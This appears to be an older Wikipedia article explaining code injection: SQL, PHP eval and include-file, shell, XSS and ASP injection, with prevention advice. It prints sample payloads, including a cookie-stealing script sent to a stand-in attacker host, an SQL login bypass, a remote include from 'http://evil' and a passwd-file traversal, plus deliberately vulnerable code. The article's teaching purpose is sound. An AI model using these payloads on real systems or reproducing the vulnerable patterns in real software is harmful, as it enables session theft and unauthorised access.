Code injection

From Wikipedia, the free encyclopedia

This article needs additional citations for verification. Please help improve this article by adding reliable references (ideally, using inline citations). Unsourced material may be challenged and removed. (November 2008)

Code injection is the exploitation of a computer bug that is caused by processing invalid data. Code injection can be used by an attacker to introduce (or "inject") code into a computer program to change the course of execution. The results of a Code Injection attack can be disastrous. For instance, code injection is used by some Computer worms to propagate.

[edit] Overview and example

A web server has a "Guest book" script, which accepts small messages from users, and typically receives messages such as

 Very Nice site!

However a malicious person may know of a code injection vulnerability in the "Guest book", and enters a message such as

 Nice Site,  I think I'll take it.><script>document.location='http://some_attacker/cookie.cgi?' +document.cookie</script>

If another user views the page then the injected code will be executed. This code can allow the attacker to impersonate another user. However this same software bug can be accidentally triggered by an unassuming user which will cause the website to display bad HTML code.

 That post was awesome, :>) 

In this case the emoticon would cause the HTML to be malformed because a malformed HTML tag was injected into the code.

Most of these problems are related to erroneous assumptions of what input data is possible, or the effects of special data.^[1] Classic examples of dangerous assumptions a software developer might make about the input to a program include:

• assuming that metacharacters for an API never occurs in an input; e.g. assuming punctuation like quotation marks or semi-colons would never appear
• assuming only numeric characters will be entered as input
• assuming the input will never exceed a certain size
• assuming that numeric values are equal or less than upper bound
• assuming that numeric values are equal or greater than lower bound
• assuming that client supplied values set by server (such as hidden form fields or cookies), cannot be modified by client. This assumption ignores known attacks such as Cookie poisoning, in which values are set arbitrarily by malicious clients.
• assuming that it is okay to pick pointers or array indexes from input
• assuming an input would never provide false information about itself or related values, such as the size of a file^[2]

[edit] Uses of Code Injection

[edit] Intentional Use

[edit] Malevolent

Use of code injection is typically viewed as a malevolent action, and it often is. Code injection techniques are popular in system hacking or cracking to gain information, Privilege escalation or unauthorised access to a system.

Code injection can be used malevolently to:

• Arbitrarily modify values in a database through a type of code injection called SQL injection. The impact of this can range from defacement of a web site to serious compromisation of sensitive data.
• Install malware on a computer by exploiting code injection vulnerabilities in a web browser or its plugins when the user visits a malicious site.
• Install malware or execute malevolent code on a server, by PHP or ASP Injection.
• Privilege escalation to root permissions by exploiting Shell Injection vulnerabilities in a setuid root binary on UNIX.
• Privilege escalation to Local System permissions by exploiting Shell Injection vulnerabilities in a service on Windows.
• Stealing sessions/cookies from web browsers using HTML/Script Injection (Cross-site scripting).

[edit] Benevolent

Some people may use code injections with good intentions. For example, changing or tweaking the behavior of a program or system through code injection can "trick" the system into behaving in a certain way without any malicious intent. For example:

• Code injection could introduce a useful new column that did not appear in the original design of a search results page.
• By using a field not exposed in the default functions of the original design, a code injection could offer a new way to filter, order, or group data.

Someone might resort to this sort of work-around for one of these reasons:

• Other ways of modifying the software to function as desired prove impossible, or
• Other ways of modifying the software are prohibitively costly, or
• Other ways of modifying the software become too frustrating or painful.

The development community as a whole frowns on code injection for this purpose, calling it a kludge or hack.

Some developers allow or even promote the use of code injection to "enhance" their software, usually because this solution offers a less expensive way to implement new or specialized features. Unfortunately, the side effects and unaccounted implications can be very dangerous.

In general, even well-intentioned use of code injection is discouraged.

[edit] Unintentional Use

Some users may unsuspectingly perform code injection because input they provide to a program was not considered by those who originally developed the system. For example:

• What the user may consider a valid input may contain token characters or character strings that have been reserved by the developer to have special meaning (perhaps the "&" in "Shannon & Jason", or quotation marks as in "Bub 'Slugger' McCracken").
• The user may submit a malformed file as input that is handled gracefully in one application, but is toxic to the receiving system.

[edit] Preventing Code Injection

To prevent Code Injection problems, utilize Secure input and output handling, such as:

• Input validation
• Escaping dangerous characters. For instance, in PHP, using the htmlentities() function to protect general inputs into your web application, and mysql_real_escape_string() to protect inputs which will be included in a SQL request, to protect against SQL Injection.
• Input encoding
• Output encoding
• Other coding practices which are not prone to Code Injection vulnerabilities, such as "parameterized SQL queries" (also known as "prepared statements" and sometimes "bind variables").

[edit] Examples of Code Injection

[edit] SQL Injection

SQL injection takes advantage of the syntax of SQL to inject commands that can read or modify a database, or compromise the meaning of the original query.

For example, consider a web page has two fields to allow users to enter a user name and a password. The code behind the page will generate a SQL query to check the password against the list of user names:

SELECT UserList.Username
FROM UserList
WHERE UserList.Username = 'Username'
AND UserList.Password = 'Password'

If this query returns any rows, then access is granted. However, if the malicious user enters a valid Username and injects some valid code ("password' OR '1'='1") in the Password field, then the resulting query will look like this:

SELECT UserList.Username
FROM UserList
WHERE UserList.Username = 'Username'
AND UserList.Password = 'password' OR '1'='1'

In the example above, "Password" is assumed to be blank or some innocuous string. "'1'='1'" will always be true and many rows will be returned, thereby allowing access.

The technique may be refined to allow multiple statements to run, or even to load up and run external programs.

[edit] PHP Injection

"PHP Injection," "ASP Injection," et cetera are terms coined which refer to various types of code injection attacks which allow an attacker to supply code to the server side scripting engine. In the case of "PHP Injection," the server side scripting engine is PHP.

In practice, PHP Injection is either the exploitation of "Dynamic Evaluation Vulnerabilities," "Include File Injection," or similar code injection vulnerabilities.

[edit] Dynamic Evaluation Vulnerabilities

Steven M. Christey of mitre.org suggests this name for a class of code injection vulnerabilities.

[edit] Dynamic Evaluation Vulnerabilities - Eval Injection

An eval injection vulnerability occurs when an attacker can control all or part of an input string that is fed into an eval() function call.^[3]

$myvar = 'somevalue'; 
$x = $_GET['arg']; 
eval('$myvar = ' . $x . ';');

The argument of "eval" will be processed as PHP, so additional commands can be appended. For example, if "arg" is set to "10; system('/bin/echo uh-oh')", additional code is run which executes a program on the server, in this case "/bin/echo".

[edit] Dynamic Evaluation Vulnerabilities - Dynamic Variable Evaluation

As defined in "Dynamic Evaluation Vulnerabilities in PHP applications": PHP supports "variable variables," which are variables or expressions that evaluate to the names of other variables. They can be used to dynamically change which variable is accessed or set during execution of the program. This powerful and convenient feature is also dangerous.

A number of applications have code such as the following:

$safevar = "0"; 
$param1 = ""; 
$param2 = ""; 
$param3 = ""; 
# my own "register globals" for param[1,2,3] 
foreach ($_GET as $key => $value) { 
  $$key = $value; 
}

If the attacker provides "safevar=bad" in the query string, then $safevar will be set to the value "bad".

[edit] Dynamic Evaluation Vulnerabilities - Dynamic Function Evaluation

The following PHP-examples will execute a function specified by request.

$myfunc = $_GET['myfunc']; 
$myfunc();

and:

$myfunc = $_GET['myfunc']; 
${"myfunc"}();

[edit] Include File Injection

Consider this PHP program (which includes a file specified by request):

<?php
   $color = 'blue';
   if (__isset( $_GET['COLOR'] ) )
      $color = $_GET['COLOR'];
   require( $color . '.php' );
?>

<form method="get">
   <select name="COLOR">
      <option value="red">red</option>
      <option value="blue">blue</option>
   </select>
   <input type="submit">
</form>

The developer thought this would ensure that only blue.php and red.php could be loaded. But as anyone can easily insert arbitrary values in COLOR, it is possible to inject code from files:

• /vulnerable.php?COLOR=http://evil/exploit? - injects a remotely hosted file containing an exploit.
• /vulnerable.php?COLOR=C:\\ftp\\upload\\exploit - Executes code from an already uploaded file called exploit.php
• /vulnerable.php?COLOR=../../../../../../../../etc/passwd%00 - allows an attacker to read the contents of the passwd file on a UNIX system directory traversal.
• /vulnerable.php?COLOR=C:\\notes.txt%00 - example using NULL meta character to remove the .php suffix, allowing access to other files than .php. (PHP setting "magic_quotes_gpc = On", which is default, would stop this attack)

[edit] Shell Injection

Shell Injection is named after Unix shells, but applies to most systems which allows software to programmatically execute command line. Typical sources of Shell Injection is calls system(), StartProcess(), java.lang.Runtime.exec(), System.Diagnostics.Process.Start() and similar APIs.

Consider the following short PHP program, which runs an external program called funnytext to replace a word the user sent with some other word)

<?php
passthru ( " /home/user/phpguru/funnytext " 
           . $_GET['USER_INPUT'] );
?>

This program can be injected in multiple ways:

• `command` will execute command.
• $(command) will execute command.
• ; command will execute command, and output result of command.
• | command will execute command, and output result of command.
• && command will execute command, and output result of command.
• || command will execute command, and output result of command.
• > /home/user/phpguru/.bashrc will overwrite file .bashrc.
• < /home/user/phpguru/.bashrc will send file .bashrc as input to funnytext.

PHP offers escapeshellarg() and escapeshellcmd() to perform encoding before calling methods. However, it is not recommended to trust these methods to be secure - also validate/sanitize input.

[edit] HTML/Script injection (cross-site scripting)

HTML/Script injection is a popular subject, commonly termed "Cross-Site Scripting", or "XSS". XSS refers to an injection flaw whereby user input to a web script or something along such lines is placed into the output HTML, without being checked for HTML code or scripting.

The two basic types are as follows:

Active (Type 1)

This type of XSS flaw is less dangerous, as the user input is placed into a dynamically generated page. No changes are made on the server.

Passive (Type 2)

This type is more dangerous, as the input is written to a static page, and as such, is persistent.

[edit] HTML injection in IE7 via infected DLL

According to an article^[4] in UK tech site The Register, HTML injection can also occur if the user has an infected DLL on their system. The article quotes Roger Thompson who claims that "the victims' browsers are, in fact, visiting the PayPal website or other intended URL, but that a dll file that attaches itself to IE is managing to read and modify the html while in transit. The article mentions a phishing attack using this attack that manages to bypass IE7 and Symantec's attempts to detect suspicious sites.

[edit] ASP Injection

"ASP Injection", "PHP Injection" etc. are terms coined which refer to various types of code injection attacks which allow an attacker to supply code to the server side scripting engine. In the case of "ASP Injection", the server side scripting engine is Microsoft Active Server Pages, an add-on to Microsoft IIS.

In practice, ASP Injection is either the exploitation of Dynamic Evaluation Vulnerabilities, Include File Injection or similar code injection vulnerabilities.

Example:

<%
    If Not IsEmpty(Request( "username" ) ) Then
        Const ForReading = 1, ForWriting = 2, ForAppending = 8
        Dim fso, f
        Set fso = CreateObject("Scripting.FileSystemObject")
        Set f = fso.OpenTextFile(Server.MapPath( "userlog.txt" ), ForAppending, True)
        f.Write Request("username") & vbCrLf
        f.close
        Set f = nothing
        Set fso = Nothing
        %>
         <h1>List of logged users:</h1>
         <pre>
        <%
         Server.Execute( "userlog.txt" )
        %>
         </pre>
        <%
    Else
        %>
         <form>
         <input name="username" /><input type="submit" name="submit" />
         </form>
        <%
    End If
%>

In this example, the user is able to insert a command instead of a username.

[edit] Analogy

Code injection is an error in interpretation. Similar interpretation errors exist out side of the world of computer science such as the comedy routine Who's on First? . This conversation was properly validated by this quote:

"Not the pronoun but a player with the unlikely name of Who, is on first"

-- Principal Skinner

[edit] See also

• Buffer overflow
• Debugging
• Mobile code
• Monitoring
• SQL injection
• Trojan horse (computing)

[edit] References

[edit] External links

• Article "Three Ways to Inject Your Code into Another Process" by Robert Kuster
• Article "Inject your code to a Portable Executable file" by Ashkbiz Danehkar
• Article "Injective Code inside Import Table" by Ashkbiz Danehkar
• Article "Defending against Injection Attacks through Context-Sensitive String Evaluation (CSSE)" by Tadeusz Pietraszek and Chris Vanden Berghe
• News article "Flux spreads wider" - First Trojan horse to make use of code injection to prevent detection from a firewall
• The Daily WTF regularly reports real-world incidences of susceptibility to code injection in software.
• Known code injection vulnerabilities since 2001 by Armorize Technologies

[edit] Notable code injection programs

• N-Stalker Web Application Security Scanner
• Sandcat
• Web Vulnerability Scanner
• Maui Security Scanner